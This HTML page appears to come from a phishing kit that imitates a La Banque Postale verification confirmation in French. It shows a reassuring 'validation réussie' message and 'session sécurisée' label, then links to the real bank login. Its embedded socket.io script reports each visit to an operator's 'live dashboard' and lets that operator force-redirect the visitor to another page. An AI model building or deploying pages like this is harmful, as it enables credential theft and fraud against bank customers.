/home2/mshostin/live-dashboard/public/success.html
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Confirmation</title>
<style>
:root {
--bp-blue: #003a8f;
--bp-border: #d7deeb;
--bp-gray: #6b7280;
--bp-bg: #f9fbff;
--bp-success: #16a34a;
}
* {
box-sizing: border-box;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
}
body {
margin: 0;
background: #ffffff;
color: var(--bp-blue);
}
/* ===== HEADER ===== */
header {
height: 80px;
display: flex;
align-items: center;
padding: 0 32px;
border-bottom: 1px solid #e6e9f0;
background: #ffffff;
}
header img {
height: 56px;
}
/* ===== CONTAINER ===== */
.container {
max-width: 420px;
margin: 90px auto;
padding: 0 20px;
text-align: center;
}
/* ===== ANIMATION ===== */
.success-wrapper {
margin-bottom: 20px;
}
.checkmark {
width: 80px;
height: 80px;
border-radius: 50%;
display: block;
stroke-width: 4;
stroke: var(--bp-success);
stroke-miterlimit: 10;
box-shadow: inset 0px 0px 0px var(--bp-success);
animation: fill .4s ease-in-out .4s forwards,
scale .3s ease-in-out .9s both;
margin: 0 auto;
}
.checkmark__circle {
stroke-dasharray: 166;
stroke-dashoffset: 166;
stroke-width: 4;
stroke: var(--bp-success);
fill: none;
animation: stroke 0.6s cubic-bezier(0.65, 0, 0.45, 1) forwards;
}
.checkmark__check {
transform-origin: 50% 50%;
stroke-dasharray: 48;
stroke-dashoffset: 48;
animation: stroke 0.3s cubic-bezier(0.65, 0, 0.45, 1) 0.6s forwards;
}
@keyframes stroke {
100% { stroke-dashoffset: 0; }
}
@keyframes scale {
0%, 100% { transform: none; }
50% { transform: scale3d(1.1, 1.1, 1); }
}
@keyframes fill {
100% { box-shadow: inset 0px 0px 0px 40px #dcfce7; }
}
/* ===== TEXT ===== */
h1 {
font-size: 24px;
font-weight: 600;
margin-bottom: 10px;
}
.subtitle {
font-size: 14px;
color: var(--bp-gray);
margin-bottom: 30px;
line-height: 1.5;
}
/* ===== BUTTON ===== */
button {
width: 100%;
height: 50px;
border-radius: 8px;
border: none;
background: var(--bp-blue);
color: #ffffff;
font-size: 16px;
font-weight: 600;
cursor: pointer;
}
button:hover {
background: #002f73;
}
.info {
margin-top: 20px;
font-size: 13px;
color: var(--bp-gray);
}
/* ===== RESPONSIVE ===== */
@media (max-width: 480px) {
.container {
margin-top: 60px;
}
h1 {
font-size: 22px;
}
}
</style>
</head>
<body>
<!-- HEADER -->
<header>
<img src="logo.svg" alt="Logo">
</header>
<!-- CONTENT -->
<div class="container">
<div class="success-wrapper">
<svg class="checkmark" viewBox="0 0 52 52">
<circle class="checkmark__circle" cx="26" cy="26" r="25"/>
<path class="checkmark__check" fill="none"
d="M14.1 27.2l7.1 7.2 16.7-16.8"/>
</svg>
</div>
<h1>Validation réussie</h1>
<div class="subtitle">
Votre vérification a été confirmée avec succès.<br>
Vous pouvez poursuivre en toute sécurité.
</div>
<button onclick="window.location.href='https://www.labanquepostale.fr/particulier/connexion-espace-client.html'">
Continuer
</button>
<div class="info">
🔒 Session sécurisée
</div>
</div>
<!-- LIVE SOCKET -->
<script src="/live-dashboard/socket.io/socket.io.js"></script>
<script>
const socket = io({ path: '/live-dashboard/socket.io' });
socket.emit("page_visit", window.location.pathname);
socket.on("force_redirect", (newPage) => {
window.location.href = newPage;
});
</script>
</body>
</html>